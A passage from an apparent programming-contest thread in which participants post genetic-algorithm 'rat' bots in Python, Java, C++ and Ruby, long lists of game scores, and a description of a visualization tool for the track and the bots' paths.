1, 117588, 1, 1, 24320, 12, 3714568, 81152, 1, 1, 10125, 2, 1, 22, 1, 45201, 1, 1, 10518, 1, 1 , 1, 1, 34, 210021, 1, 1, 1, 65641, 6, 72, 1, 7, 2, 161578, 1, 1, 38378, 1, 4113 741, 1, 34450, 244212, 127660, 1, 256885, 46, 2, 1, 1, 103532, 1, 503965, 114774 , 52450, 124165, 73476, 50250, 1, 3, 3755352, 24928, 1, 1, 51, 11, 1, 210580, 1, 62375, 1, 1, 92745, 341232, 167675, 86, 242, 293710, 454841, 1, 49840, 4456758, 121378, 145323, 74904, 5048, 25459, 1, 57, 116999, 1, 1, 76074, 111447, 95706, 1, 1, 52631, 166756, 2159474, 161216, 1, 2, 3, 11904, 1, 22050, 6, 1, 1, 1, 41, 48908, 6, 80878, 28125, 28, 160516, 1, 4, 1, 8, 1, 1, 7, 362724, 1, 397193, 1, 2 5, 1, 59926, 3, 74548, 2320284, 470189, 1, 108, 1, 1, 16, 1, 496013, 1, 1, 1, 1, 107758, 1, 284144, 146728, 1, 70769, 94215, 1, 1, 9961, 97300, 7, 1, 76263, 1, 27, 294046, 40, 8, 2, 1, 57796, 2, 79800, 1043488, 470547, 1, 1, 1, 6, 69666, 8, 1, 1, 344011, 205325, 3963186, 1141527, 61598, 446029, 1, 1, 1, 1, 625247, 1877 92, 136391, 1, 72519, 1, 141168, 412, 98491, 103995, 297052, 1, 1, 1, 1, 3, 17, 9, 62899, 5, 47810, 254, 26789, 2, 1, 1, 3, 10361, 19615, 40430, 17288, 3, 71831 , 41374, 1, 91317, 409526, 1, 184305, 1, 192552, 3, 3587674, 39, 13, 134500, 41, 42, 672, 559835, 9, 39004, 51452, 1, 1, 12293, 11544, 265766, 8590, 1, 8632, 1, 1, 61849, 35155, 1, 74798, 72773, 1, 89, 37, 4, 4405882, 1, 99, 44397, 5, 4, 6, 1, 1, 1, 515818, 78383, 20, 127829, 1824801, 157, 1, 1, 268561, 19, 2, 230922, 1, 103, 98146, 5029789, 304324, 1, 5, 60516, 1, 139, 28982, 7, 20755, 187083, 1, 1, 143811, 37697, 1, 1, 269819, 83, 1, 202860, 13793, 16438, 113432, 1, 1, 2, 5 134384, 29, 84135, 39035, 2, 125, 1, 30, 129771, 41982, 13548, 61, 1, 2, 1, 82, 102, 2, 105581, 210399, 291204, 3012324, 1, 84763, 1, 1, 442067, 2, 1, 1, 1, 116 , 1, 3, 3, 56, 208807, 1, 2, 1, 14, 29, 31286, 1, 1, 162358, 28856, 46898, 1, 16 2698, 1, 1, 1, 65, 1, 1, 234566, 6, 1, 1, 128, 124, 2167692, 181946, 29, 1, 1, 1 , 1, 17, 162550, 179588, 4, 226480, 28, 1, 158512, 35084, 1, 26160, 17566, 1, 81 826, 2, 33, 1, 1, 11, 1, 230113, 1, 1, 1, 24405, 17, 1, 2, 1, 162365, 2, 1, 1, 8 5225, 1, 15016, 51509, 1, 5, 1, 93, 13, 59, 24548, 1, 3, 2, 2, 1, 64424, 1, 1, 4 , 1, 1, 1, 2, 267115, 139478, 52653, 96225, 1, 1, 35768, 3, 1, 1, 3280017, 8, 80 014, 43095, 112102, 1, 1, 1, 79594, 5, 1, 1, 4, 455714, 19, 15, 1, 233760, 55850 5, 2, 2, 1, 63672, 1, 3732951, 1, 135858, 134256, 452456, 151573, 79057, 638215, 88820, 1, 1, 76517, 13, 314006, 5, 1, 17704, 1, 79589, 1, 18371, 530793, 59020, 1, 1, 1, 4, 1, 1, 1, 71735, 1, 1, 1, 1, 1, 37894, 1, 2, 24054, 1, 8, 26471, 34, 1, 48033, 5, 3, 1, 25, 101, 1, 1, 5, 1, 1, 1, 97521, 1, 682817, 286486, 5, 1472 4, 1, 7805226, 6, 1, 1, 1, 7, 2, 1, 1, 1, 25, 233330, 1, 20899, 3417337, 92793, 23, 80821, 1, 1, 115948, 264191, 3, 79809, 1, 2, 59531, 2, 1, 1, 28684, 97, 1, 2 69433, 98769, 1, 76608, 138124, 1, 1, 325554, 122567, 1, 1, 3, 689604, 4, 85823, 66911, 138091, 169416, 21430, 1, 2, 486654, 108446, 93072, 1, 67907, 4, 1, 1, 5 2260, 67867, 210496, 25157, 1, 1, 1, 5477, 2, 2, 11907, 106, 48404, 1, 1, 1, 787 11, 190304, 112025, 1, 9313, 143055, 40189, 315537, 157581, 70714, 6, 180600, 38 594, 103658, 59444, 7, 31575, 1, 1, 581388, 370430, 1, 114446, 1, 1, 2, 3968, 1, 1, 1, 1, 1, 4523411, 1, 1, 270442, 1, 59, 235631, 3, 110196, 9, 1, 93724, 1, 22 917, 1, 6, 1, 2350266, 1, 1, 20, 4686858, 31, 1, 240180, 10, 470592, 3, 61051, 1 45372, 2831, 64052, 10, 120652, 255971, 479239, 1, 387659, 1, 1, 1, 378379, 7, 3 3218, 55914, 1, 1, 1667456, 6, 2, 74428, 3, 2, 1, 121582, 121274, 19651, 59899, 1, 11, 406670, 137835, 100269, 2, 164361, 98762, 44311, 25817, 178053, 31576, 1, 8, 2539307, 121430, 1, 41001, 1, 4, 1, 116258, 91101, 1, 126857, 1, 8, 49503, 1 , 489979, 12, 500332, 1, 52, 4, 8786, 4, 4878652, 12354, 27480, 89115, 87560, 11 793, 5, 1, 4702325, 301188, 1, 1, 1, 1, 1, 416520, 49357, 230103, 24497, 1, 3, 2 , 57366, 183021, 1, 1, 1, 1, 1, 2, 2, 2546229, 1, 2, 38665, 1, 6903, 1, 89519, 9 5119, 64879, 1, 1, 160380, 474336, 3107, 1, 7, 29099, 28667, 3, 196933, 35979, 1 2924, 7, 1, 99885, 6, 1, 1, 1, 7, 1, 1, 1, 1, 65727, 1, 1, 1, 1, 2108110, 3, 107 811, 23818, 701905, 1, 156034, 32, 1, 29, 143548, 1, 67665, 4612762, 1, 3, 20, 1 , 1, 9, 28543, 1, 1, 1, 30978, 9, 1, 19504, 79412, 15375, 763265, 1, 352373, 193 045, 1, 4570217, 9, 1, 6, 29180, 90030, 1, 1, 1, 1, 1, 93, 1, 100889, 1, 1, 37, 15, 17, 1, 81184, 1, 2, 272831, 1, 137, 1, 9, 42874, 679183, 1, 350027, 12, 1, 2 , 1, 26408, 1, 11182, 1, 30, 139590, 7, 3, 1, 1, 34729, 1, 2, 1, 1, 50343, 66873 , 3891, 1, 148952, 1, 1, 22322, 104176, 1, 3, 20549, 140266, 37827, 30504, 17, 6 8588, 120195, 1, 123353, 2, 64301, 11, 1, 109867, 4, 1, 1, 1, 28671, 1, 50963, 5 4584, 1, 1, 1, 33, 1, 381918, 1, 265823, 4771840, 155179, 314, 134086, 1, 1, 30, 1, 2, 1102665, 18, 132243, 3861, 1, 1, 208906, 60112, 1, 1, 1, 31273, 551, 3490 0, 2, 43606, 1, 1, 1, 1, 5, 2, 88342, 2, 1, 19, 3, 1, 1, 1, 1, 28507, 1, 491467, 1, 1, 22, 1, 1, 1, 1, 9345, 9, 18, 84343, 1, 2, 1, 18, 36816, 1, 1, 513028, 287 88, 5037383, 721932, 170292, 108942, 539115, 1, 575676, 20, 1, 31698, 99797, 205 21, 380986, 1, 1, 14, 2, 1, 201100, 30, 1, 119484, 1, 1, 1, 1, 2214252, 3, 4, 18 179, 9, 4, 542150, 1, 6, 157, 3182099, 4, 1, 1, 6140, 3339847, 498283, 52523, 1, 1, 1, 1, 1, 202054, 263324, 1, 6, 2, 1, 2, 72357, 12, 5, 66, 4, 7368, 1, 30706, 61936, 3945270, 138991, 1, 68247, 1, 1, 30482, 35326, 1, 1, 9, 1, 148, 1, 46985 , 1, 4325093, 1, 1, 2880384, 65173, 1, 56581, 179178, 372369, 56187, 3, 12, 8, 4 00743, 3, 28658, 1, 1, 9, 1, 4, 2, 34357, 1, 42596, 68840, 2, 62638, 158027, 617 34, 71263, 1, 1, 9, 1, 6830309, 3, 1, 1, 157253, 129837, 9, 5008187, 48499, 5981 3, 1, 40320, 233893, 5, 1383, 7732178, 16, 1, 13, 5686145, 84554, 1, 79442, 1, 1 , 256812, 127818, 31, 226113, 1, 4, 1, 1, 4506163, 1, 4, 1, 40176, 19107, 205, 2 7, 1, 448999, 1, 1, 2750, 62723, 1, 12, 1, 1, 79881, 1, 48, 13, 4, 1, 28765, 1, 33, 291330, 30817, 2, 1, 1, 1, 4170949, 16, 1, 1, 118781, 10473, 520797, 1, 8, 1 , 80215, 1, 21759, 5143209, 79141, 40229, 1, 17403, 71680, 1115694, 1, 1, 1, 10, 1, 77149, 382712, 1, 11, 84891, 47633, 1, 2, 39037, 1, 213148, 1607280, 127674, 1, 333207, 1, 78901, 1, 16203, 87580, 1, 1565571, 537902, 53000, 15, 1, 2, 1, 2 13127, 1, 338634, 2469990, 469479, 9519, 51083, 1, 42082, 33179, 1, 1, 32444, 3, 1, 201642, 99724, 377, 1, 2, 1, 36919, 1, 322707, 2, 164765, 82516, 1, 5274643, 1, 36421, 1, 8, 1, 117856, 1, 1, 493342, 1, 36289, 7, 1, 62, 2, 1, 38533, 1, 68 , 45754, 9, 102015, 312941, 1, 99 Final score is 220.826222910756 ``` [Answer] # RATS IN ACTION (not an answer, but a graphic tool for C++ bots) Since the begining of this challenge, I had difficulties figuring out what the rats were really facing on the track. In the end I hacked the controller and wrote a side tool to get some graphic representation of a track. I eventually did some more hacking and added a visualization of the possible paths of a given rat's DNA. The map is extremely cluttered and requires a bit of getting used to, but I found it quite helpful to understand how my bots worked. Here is an example: ![sample track](https://i.stack.imgur.com/G0xXG.png) You'll probably need to zoom-in to see anything, so here is just the first half: ![half track (no pun intended)](https://i.stack.imgur.com/t4B7g.png) At first, let's look at the rat's paths. There is one path for each possible starting location (usually 15, sometimes a bit less). Usually they tend to merge, ideally leading to a single victory location. The paths are represented by big straight arrows. The color describes the outcome: * green: win * yellow: infinite loop * brown: wall banging * red: unfortunate accident In the example, we have 12 winning start positions, one leading to an infinite loop and two to a grueling death (being teleported into a trap, as it appears). The path discontinuities are due to teleportations, which you can follow with the corresponding curved arrows. Now for the colored symbols. They represent the meaning of the 16 colors (the grey ones represent what a rat sees). * wall: square * teleporter: 4 branched star * trap detector: small octogon empty colors are... well... empty. Teleporters have outgoing arrows pointing to their destination. Trap detectors also have arrows indicating the trap, which is figured as a red circle. In one case out of 9, the trap is located in the same cell as its detector, in which case you will see the small octogon on top of the red circle. It is the case for the pale yellow trap in this example. You can also see the mauve trap detectors pointing down to their indicated trap. Notice that sometimes a trap's red circle will be hidden under a wall. Both are lethal so the result is the same in case of teleportation. Notice also that a trap might be located on a teleporter, in which case the teleporter takes precedence (i.e. the rat is teleported before falling into the trap, in effect neutralizing the trap). Lastly, the grey symbols represent what my rats see (i.e. the meaning their genome attributes to the colors). * wall: square * trap detector: octogon * trap: X Basically, all cells sitting on a grey square are considered walls by the rat. Big X's represent cells considered as traps, with the corresponding octogons indicating the detector that reported them. In this example, both walls are identified as such, as is the pale yellow trap (indicating indeed a deadly cell, so representing it as a wall is correct). The mauve trap detector has been identified as such (it sits on a grey octogon), but the trap location is incorrect (you can see that some red circles have no crosses under them). Out of 4 teleporters, 2 are considered as walls (turquoise and tan), and 2 as empty cells (reddish and yellowish). A few empty cells are considered as trap detectors or walls. Looking closely, you can see that these "faulty detectors" are indeed forbidding entry into cells that would get the rat into trouble, so even though they fail to match the real colors, they have a definite purpose. ## The code Well it's a mess, but it works rather well. Seen from the player's code, I only added one interface: a trace function used to report the meaning of a given DNA. In my case I used 3 types (wall, trap detector and empty) but you can basically output anything color-related (or nothing at all if you want no genome-related graphics). I hacked the controller to generate a huge character string collating the track and colors description with a "dry run" of the rat's DNA from all possible locations. It means the results will be really meaningful only if the bot does not use random values. Otherwise, the paths displayed will only represent one possible outcome. Lastly, all these traces are put into a big text file that is later read by a PHP utility that produces the graphic output. In the current version, I take a snapshot each time a rat dies after having reached a new maximal fitness (that shows pretty well the progressive refinement of the genome without requiring too many snapshots), and a final snapshot at end of game (that shows the most successfull DNA). If someone is interested I can publish the code. Clearly this works only for C++ bots, and you will need to write a trace function *and* possibly modify the PHP code if you want to display some genome-specific data (the grey figures in my case). Even without DNA-specific informations, you can see the paths followed by your DNA on a given map with very little effort. ## Why an intermediate output? First of all, C++ has no decent portable graphic library to speak of, especially when using MSVC. Even if Win32 builds are usually available, they often come as an afterthought, and the number of external libraries, packages and other unix-like niceties needed makes writing a quick and simple graphical application a terrible pain in a part of one's body that decency prevents me from naming. I considered using Qt (about the only environment that makes portable GUI/graphical development in C++ a simple and even pleasant task, IMHO - probably because it adds a messaging system *à la* Objective C that C++ sorely lacks and does an incredible job of limiting memory management to the barest minimum), but this looked like an overkill for the task at hand (and anyone wanting to use the code would have to install the biggish SDK - hardly worth the effort, I guess). Even assuming a portable library, there is no speed requirement to speak of (one second or so to produce a picture is largely sufficient), and with its proverbial rigidity and inherent messiness, C++ is certainly not the best tool for the job. Furthermore, having an intermediate text output adds a lot of flexibility. Once the data are there, you can use them for other purposes (analyzing the performance of the bots, for instance). ## Why PHP? I find the language extremely simple and adaptable, very convenient for prototyping. I made it my pet language for code challenges that do not require extreme performances. It is a terrible language for golfing, though, but golf was never my cup of tea anyway. I suppose python or Ruby would be just as pleasant to use for the same purpose, but I never had an occasion to do some serious work with them, and I was working on web sites lately, so PHP it is. Even if you don't know the language, it should not be too difficult to modify the code to suit your needs. Just don't forget the `$`s before the variables, just like the good old Basic days :). [Answer] # SkyWalker - Python - scores less than 231 in 50 games So code first and then some explanations. I hope nothing broke while copying. ``` class SkyWalker(Player): def __init__(self): Player.__init__(self) self.coords = [#Coordinate(-1,-1), #Coordinate( 0,-1), Coordinate( 1, 0), Coordinate( 1,-1), #Coordinate(-1, 0), #Coordinate( 0, 0), #Coordinate(-1, 1), #Coordinate( 0, 1), Coordinate( 1, 1)] self.n_moves = len(self.coords) def visionToMove(self, x, y): x = x - 2 y = y - 2 return (x, y) def trapToMove(self, x, y, offx, offy): x = x - 2 + (offx % 3) - 1 y = y - 2 + (offy % 3) - 1 return (x, y) def isNeighbour(self, x1, y1, x2, y2): if (x1 == x2) or (x1+1 == x2) or (x2+1 == x1): if (y1 == y2) or (y1+1 == y2) or (y2+1 == y1): return True return False def calcMove(self, donots, never, up): forwards = {(1, 0): 0, (1, 1): 0, (1, -1): 0, (0, 1): 10, (0, -1): 10} for key in forwards: if key in never: forwards[key] = 100 for x in donots: if (key[0] == x[0]) and (key[1] == x[1]): forwards[key] = 20 min_value = min(forwards.itervalues()) min_keys = [k for k in forwards if forwards[k] == min_value] return random.choice(min_keys) def turn(self): trap1 = self.bit_chunk(0, 4) trap1_offsetx = self.bit_chunk(4, 2) trap1_offsety = self.bit_chunk(6, 2) trap2 = self.bit_chunk(8, 4) trap2_offsetx = self.bit_chunk(12, 2) trap2_offsety = self.bit_chunk(14, 2) wall1 = self.bit_chunk(16, 4) wall2 = self.bit_chunk(20, 4) tel1 = self.bit_chunk(24, 4) tel1_good = self.bit_chunk(28, 3) tel2 = self.bit_chunk(31, 4) tel2_good = self.bit_chunk(35, 3) tel3 = self.bit_chunk(38, 4) tel3_good = self.bit_chunk(42, 3) tel4 = self.bit_chunk(45, 4) tel4_good = self.bit_chunk(49, 3) up = self.bit_at(100) donots = [] never = [] for y in range(0, 5): for x in range(0, 5): c = self.vision[y][x] if (c == -1): never += self.visionToMove(x, y), elif (c == trap1): donots += self.trapToMove(x, y, trap1_offsetx, trap1_offsety), elif (c == trap2): donots += self.trapToMove(x, y, trap2_offsetx, trap2_offsety), elif (c == wall1): donots += self.visionToMove(x, y), elif (c == wall2): donots += self.visionToMove(x, y), elif (c == tel1): if (tel1_good > 3): donots += self.visionToMove(x, y), elif (c == tel2): if (tel2_good > 3): donots += self.visionToMove(x, y), elif (c == tel3): if (tel3_good > 3): donots += self.visionToMove(x, y), elif (c == tel4): if (tel4_good > 3): donots += self.visionToMove(x, y), coord = self.calcMove(donots, never, up) return Coordinate(coord[0], coord[1]) ``` ## Some Explanation In my opinion the main difference is that I do not code every color. Instead, I try to save the number of the colours that are important. In my opinion those colours are the traps, walls and teleporters. The specimen does not need to know the color of a good cell. Therefore, my genome is structured in the following way. * 2 x 8 bits for traps, the first 4 bits are the color number, the other 4 are the offset * 2 x 4 bits for walls, just the color * 4 x 7 bits for teleporters, again 4 bits for the color, 3 to decide good or bad This makes for a total of 52 bits used. However, I use only the first bit of the 3 teleporter deciders (I check if the number is greater 3). Therefore, the other 2 could be deleted, leaving me at 44 bits used. On each turn I check every field of my vision if it is one the bad colours (+ the out of board -1) and add it to a list of fields the specimen does not want to move to. In the case of a trap, I add the field that is on the saved offset for that trap color. Based on the list of those bad fields the next move is calculated. The order of the preferred fields is: 1. forward 2. up or down 3. backwards up or down 4. backwards If two fields of a category are applicable, one is chosen randomly. ## Results ``` Individual scores: [192, 53116, 5, 1649, 49, 2737, 35, 5836, 3, 10173, 4604, 22456, 21331, 445, 419, 2, 1, 90, 25842, 2, 712, 4, 1, 14, 35159, 13, 5938, 670, 78, 455, 45, 18, 6, 20095, 1784, 2, 11, 307853, 58171, 348, 2, 4, 190, 7, 29392, 15, 1158, 24549, 7409, 1] On average, your bot got 231.34522696 points ``` ## Thoughts * I have no idea, if I got lucky with the 50 runs or if there is actually some wisdom in my strategy. * My runs never seem to take off and get super high scores but they also tend to find at least a few times the goal * Some small randomness is good to not get stuck in a trap some where close to the end of the race * I think non-special colours are never bad. However, instances of them can be bad, when they are on the offset of a trap. Thus, labeling a color bad if its not trap, wall or bad teleporter makes no sense. * Walls are the greatest enemies ## Improvements First, even though I will miss seeing the black squares moving closer and closer to the goal a C++ port is necessary to conduct more tests and get a more meaningful result. One of the main problems is that if there are bad cells (or those the specimen thinks bad) in front of the rat it easily starts moving up and down in circles. This could be stopped or reduced by looking 2 moves ahead in those cases and prevent it from moving to a field where it would just move back again. Often it takes quite some time until a rat with good genes gets to the goal and starts spreading it genes. Maybe I need some strategy to increase the diversity in those cases. Since teleporters are hard to calculate maybe I should split the population in those who are risky and always take good teleporters and those who are more concerned and only take them if there is no other choice. I should use the second half of my genome somehow. [Answer] ## Python, NeighborsOfNeighbors, Score=259.84395 over 100 games This is a variation on ColorScorePlayer. Every 6 bits stores a quality score for a square. When the bot is making a move, it scores each of the 3 forward squares -- diagonal up, forward, and diagonal down. The score is the quality of the square plus one half the average quality of the next 3 squares. This gives the bot some look ahead, without overwhelming the quality of the first square. The algorithm is similar to LookAheadPlayer, which I did not see before writing this solution. ``` class NeighborsOfNeighbors(Player): def __init__(self): Player.__init__(self) self.coords = [ Coordinate( 1, 0), Coordinate( 1,-1), Coordinate( 1, 1) ] def turn(self): scores=[self.score(c.x,c.y)+0.5*self.adjacentScore(c.x,c.y) if self.vision_at(c.x,c.y)>-1 else None for c in self.coords ] max_score = max(scores) return random.choice( [c for s,c in zip(scores,self.coords) if s==max_score] ) def adjacentScore(self,x,y): adjacent = [(x+1,y)] if self.vision_at(x,y+1)>-1: adjacent+=[(x+1,y+1)] if self.vision_at(x,y-1)>-1: adjacent+=[(x+1,y-1)] adjscores=[self.score(a,b) for a,b in adjacent] return sum(adjscores)/float(len(adjscores)) def score(self,x,y): return -1 if self.vision_at(x,y) == -1 else self.bit_chunk(6*self.vision_at(x,y),6) ``` [Answer] # ROUS (Rodent of Unusual Size), Java, Score = 0 This hashes the surroundings to decide where to go. ~~Due to the Java controller not working I do not have scores for this. This will only get very far if it finds a few teleporters to help it.~~ This tends to go extinct and crash the controller once in a while. This is probably due to the fact that it's natural environment is the Fire Swamp. ``` import java.awt.*; import java.util.Map; public class ROUS extends Player{ private static final int NUMBER_OF_GENES = 33; private static final int GENE_SIZE = 3; private static final Point[] coords = new Point[]{ new Point(-1, -1), new Point(-1, 0), new Point(-1, 1), new Point(0, -1), new Point(0, 1), new Point(1, -1), new Point(1, 0), new Point(1, 1) }; public Point takeTurn(String dna, Map<Point, Integer> vision){ Point[] table = decode(dna); int hash = hash(vision); return table[hash]; } private int hash(Map<Point, Integer> surroundings) { return Math.abs(surroundings.hashCode()) % NUMBER_OF_GENES; } private Point[] decode(String dna) { Point[] result = new Point[NUMBER_OF_GENES]; for (int i = 0; i < NUMBER_OF_GENES; i++){ int p = Integer.parseInt(dna.substring(i * GENE_SIZE, (i + 1) * GENE_SIZE), 2); int x; int y; result[i] = coords[p]; } return result; } } ``` [Answer] # Gray-Color Lookahead (C++, ~1.35) This one isn't doing very well on average, but on rare occasion it performs brilliantly. Unfortunately, we're being scored on geometric average (1.35), and not on maximum score (20077). This algorithm works by just using 4-bit gray codes to map each color's score somewhere from -2 to 2 (with a bias towards the range [-1..1]), and computes the score of each move's tile and its next moves. It also uses a 2-bit gray code to determine the multiplier for the tile itself as well as the biasing factor for moving to the right. (Gray codes are much less susceptible to big jumps due to mutations, although they don't really do any favors for mid-codepoint crossover...) It also does absolutely nothing to try to handle traps specially, and I suspect that might be the downfall (although I haven't added any instrumentation to the controller to test this theory). For each possible move it determines a score, and among all the moves with the highest score it chooses randomly. ``` coord_t colorTileRanker(dna_t d, view_t v) { const int COLOR_OFFSET = 0; // scores for each color (4 bits each) const int SELF_MUL_OFFSET = 96; // 2 bits for self-color multiplier const int MOVE_MUL_OFFSET = 98; // 2 bits for move-forward multiplier static const int gray2[4] = {0, 1, 3, 2}; static const int gray3[8] = {0, 1, 3, 2, 7, 6, 4, 5}; // bias factor table const int factorTable[4] = {0, 1, 2, 1}; const int selfMul = factorTable[gray2[dnaRange(d, SELF_MUL_OFFSET, 2)]]*2 + 9; const int moveMul = factorTable[gray2[dnaRange(d, MOVE_MUL_OFFSET, 2)]] + 1; // scoring table for the color scores static const int scoreValue[8] = {0, 1, 2, 3, 4, 3, 2, 1}; std::vector<coord_t> bestMoves; int bestScore = 0; for (int x = -1; x <= 1; x++) { for (int y = -1; y <= -1; y++) { const int color = v(x, y); if ((x || y) && (color >= 0)) { int score = 0; // score for the square itself score += selfMul*(scoreValue[gray3[dnaRange(d, COLOR_OFFSET + color*3, 3)]] - 2); // score for making forward progress; score += moveMul*(x + 1); // score for the resulting square's surrounding tiles for (int a = -1; a <= 1; a++) { for (int b = -1; b <= 1; b++) { const int color2 = v(x + a, y + b); if (color2 >= 0) { score += scoreValue[gray3[dnaRange(d, COLOR_OFFSET + color2*3, 3)]] - 2; } } } if (score > bestScore) { bestMoves.clear(); bestScore = score; } if (score >= bestScore) { bestMoves.push_back({x, y}); } } } } if (bestMoves.empty()) { return {v.rng.rint(2), v.rng.rint(3) - 1}; } return bestMoves[v.rng.rint(bestMoves.size())]; } ``` On my most recent run, I got scores: 1 1 1 1 1 1 1 46 1 1 1 1 1 1 1 1 1 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 20077 1 1 1 2 1 1 1 1 1 I wish I could get more of the 20077s and fewer of the 1s. :) [Answer] ## C++, TripleScore, Score: 100~400 First of all, my score varies greatly over multiple runs (mainly because of the number of 1's). The core calculates the score of 5 directions: up, down, forward-up, forward and forward-down. First the score of up and down are calculated, than the results are compared to the value of staying in place. If staying in place is better than moving up or down, these directions will not be chosen (so it must go forward). This is to prevent bouncing (up,down,up,down,...) between 2 spots. Now the 3 other directions are scored: forward-up, straight forward and forward-down. From all investigated directions the ones with the highest score are kept and 1 of them is chosen at random. Scoring a direction: TripleScore calculates the score of a movement using 3 subscores: * The score of the color of the destination (depends on the dna, as in colorScorePlayer) * The score of going forward (depends on the dna) * The maximum score of taking a forward move from the destination (multiplied by a factor that is stored in the dna) As with other answers, the score greatly depends on the number of 1-scores that are returned. ``` #define CHUNKSIZE 5 //We have 20 values so 5 bits/value #define MAXVALUE 32 //2^CHUNKSIZE #define AVGVALUE MAXVALUE/2 #define DNASEGMENT(dna, i) dnarange(dna, i*CHUNKSIZE, CHUNKSIZE) #define DNA_COLOR 0 #define DNA_FORWARD 16 #define DNA_LOOKAHEAD 17 //Get the score for a specific move int calcscore(dna_t dna, view_t view, int x, int y, bool final){ if (view(x,y) == OUT_OF_BOUNDS){ //We cant go there return -MAXVALUE; } //The score of the color int s = DNASEGMENT(dna, DNA_COLOR+view(x,y))-AVGVALUE; //The score of going forward s += x*DNASEGMENT(dna, DNA_FORWARD); //Get the children or not if (!final){ int max=-MAXVALUE; int v; //Get the maximum score of the children for (int i=-1; i<2; ++i){ v = calcscore(dna, view, x+1, y+i, true); if (v>max){ max=v; } } //Apply dna factor to the childs score s += (max * DNASEGMENT(dna, DNA_LOOKAHEAD))/AVGVALUE; } return s; } coord_t TripleScore(dna_t dna, view_t view) { int maxscore = -100; int score; coord_t choices[5]; //Maximum 5 possible movements int maxchoices = 0; int zeroscore = calcscore(dna, view, 0, 0, false); //Go over all possible moves and keep a list of the highest scores for (int x=0; x<2; ++x){ for (int y=-1; y<2; ++y){ if (x | y){ score = calcscore(dna, view, x, y, false); if (score > maxscore){ maxscore = score; choices[0] = {x, y}; maxchoices = 1; }else if (score == maxscore){ choices[maxchoices++] = {x, y}; } } } if (!x && maxscore <= zeroscore){ //I will NOT bounce! maxscore = -100; } } return choices[view.rng.rint(maxchoices)]; } ``` [Answer] # Ruby - ProbabilisticScorePlayer ``` class ProbabilisticScorePlayer < Player Here = Vector2D.new( 0, 0) Forward = Vector2D.new( 1, 0) Right = Vector2D.new( 0, 1) Left = Vector2D.new( 0,-1) def vision_at(vec2d) v = @vision[vec2d.x+2][vec2d.y+2] v==-1?nil:v end def turn coords = [Forward] [Here,Forward].each{|x| [Here,Right,Left].each{|y| c = x+y if x!=y && vision_at c > -1 coords.push c if bit_at(vision_at c)==1 coords.push c if bit_at(vision_at(c+Forward)+16)==1 coords.push c if bit_at(vision_at(c+Right)+32)==1 coords.push c if bit_at(vision_at(c+Left)+48)==1 coords.push c if bit_at(vision_at(c+Forward+Right)+64)==1 coords.push c if bit_at(vision_at(c+Forward+Left)+80)==1 end } } coords.sample(random: @rng) end end ``` This highly non-deterministic rat calculates the probability to go on a space by it's neighborhood. The first 16 slots in genome represent the 16 colors. 1 in a slot means the color is good to step on, 0 means bad. The next 16 hold the same for the space in front of your target, and so on. The main advantage of the probabilistic approach is that it is nearly impossible to get stuck behind a wall for long. The disadvantage is that you will almost never get a near perfect rat. [Answer] # Java, RunningStar, Score = 1817.050970291959 over 1000 games This bot uses [Run-Bonus](https://codegolf.stackexchange.com/a/44717/32700)'s color coding with [StarPlayer](https://codegolf.stackexchange.com/a/44753/32700)'s technique. Update: Fixed java controller. ``` Scores: 6, 81533, 1648026, 14, 5, 38841, 1, 76023, 115162, 3355130, 65759, 59, 4, 235023, 1, 1, 1, 3, 2, 1, 1, 14, 50, 1, 306429, 68, 3, 35140, 2, 1, 196719, 162703, 1, 1, 50, 78233, 5, 5, 5209, 1, 2, 60237, 1, 14, 19710, 1528620, 79680, 33441, 58, 1, 4, 45, 105227, 11, 4, 40797, 2, 22594, 9, 2192458, 1954, 294950, 2793185, 4, 1, 1, 112900, 30864, 23839, 19330, 134178, 107920, 5, 122894, 1, 1, 2721770, 8, 175694, 25235, 1, 3109568, 4, 11529, 1, 8766, 319753, 5949, 1, 1856027, 19752, 3, 99071, 67, 198153, 18, 332175, 8, 1524511, 1, 159124, 1, 1917181, 2, 1, 10, 276248, 1, 15, 1, 52, 1159005, 43251, 1, 536150, 75864, 509655, 1126347, 250730, 1548383, 17, 194687, 27301, 2, 1, 207930, 621863, 6065, 443547, 1, 6, 1, 1, 1, 1, 556555, 436634, 25394, 2, 61335, 98076, 1, 190958, 2, 18, 67981, 3, 8, 119447, 1, 1, 1, 19, 28803, 23, 33, 60281, 613151, 1, 65, 20341, 799766, 476273, 105018, 357868, 3, 92325, 2062793, 18, 72097, 30229, 1, 1, 3, 610392, 1, 202149, 887122, 56571, 1, 77788, 61580, 4, 72535, 381846, 148682, 26676, 1, 210, 3556343, 212550, 650316, 33491, 180366, 1, 295685, 46255, 43295, 1006367, 63606, 1, 1, 1, 1, 3094617, 21, 10, 3, 1, 1, 14730, 1585801, 102, 2, 410353, 1570, 1, 17423, 1, 1849366, 5, 1, 357670, 1, 1, 1, 1, 89936, 349048, 15, 7, 6, 2, 121654, 1852897, 19, 1, 103275, 1, 1, 771797, 23, 19, 6700, 1, 135844, 2966847, 3, 2356708, 101515, 1, 17, 1, 996641, 22, 16, 657783, 171744, 9604, 1, 1335166, 1739537, 2365309, 1, 3378711, 11332, 3980, 182951, 609339, 8, 10, 1746504, 61895, 386319, 24216, 331130, 12193, 1, 284, 1, 2, 50369, 38, 8, 1, 1238898, 177435, 124552, 22370, 1418184, 20132, 6, 2, 730842, 1, 1341094, 141638, 534983, 1551260, 31508, 96196, 434312, 3012, 715155, 1, 276172, 214255, 1, 208948, 4, 1631942, 512293, 37, 64474, 1342713, 1, 132634, 13, 2, 61876, 1081704, 160301, 2, 488156, 2414109, 1809831, 5, 74904, 6, 11, 5, 1, 79856, 96, 35421, 229858, 238507, 3838897, 18, 44, 1, 1659126, 9, 33708, 12, 1, 758381, 162742, 256046, 3, 15, 142673, 70953, 58559, 6, 2, 1, 984066, 290404, 1072226, 66415, 4465, 924279, 48133, 319765, 519401, 1, 1, 1201037, 418362, 17022, 68, 213072, 37, 1039025, 1, 2, 6, 4, 45769, 1, 5, 1061838, 54614, 21436, 7149, 1, 1, 1, 35950, 2199045, 1, 379742, 3, 2008330, 238692, 181, 7, 140483, 92278, 214409, 5179081, 1, 1, 334436, 2, 107481, 1142028, 1, 31146, 225284, 1, 14533, 4, 3963305, 173084, 102, 1, 4732, 14, 1, 25, 11032, 224336, 2, 131110, 175764, 81, 5630317, 1, 42, 1, 89532, 621825, 2291593, 210421, 8, 44281, 4, 303126, 2895661, 2672876, 3, 436915, 21025, 1, 4, 49227, 1, 39, 3, 1, 103531, 256423, 2, 1600922, 15, 1, 2, 58933, 1114987, 1, 4, 3, 1, 1544880, 285673, 240, 2, 128, 214387, 